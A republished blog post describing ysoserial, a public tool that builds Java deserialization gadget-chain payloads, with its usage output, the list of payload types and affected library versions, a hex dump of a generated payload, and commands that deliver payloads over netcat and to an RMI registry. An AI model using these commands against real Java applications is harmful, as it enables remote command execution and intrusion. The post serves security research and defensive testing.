Pentest Tools

Published on August 1st, 2016 📆 | 7589 Views ⚑


ysoserial — Exploit Unsafe Java Object Deserialization


ysoserial is a collection of utilities and property-oriented programming β€œgadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.




This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

[adsense size='1']


$ java -jar target/ysoserial-0.0.4-all.jar
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
        Available payload types:
                BeanShell1 [org.beanshell:bsh:2.0b5]
                CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
                CommonsCollections1 [commons-collections:commons-collections:3.1]
                CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
                CommonsCollections3 [commons-collections:commons-collections:3.1]
                CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
                Groovy1 [org.codehaus.groovy:groovy:2.3.9]
                Jdk7u21 []
                Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]



$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc < groovypayload.bin

$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe



  1. Download the latest jar from the β€œreleases” section.

Leave a Reply

Your email address will not be published.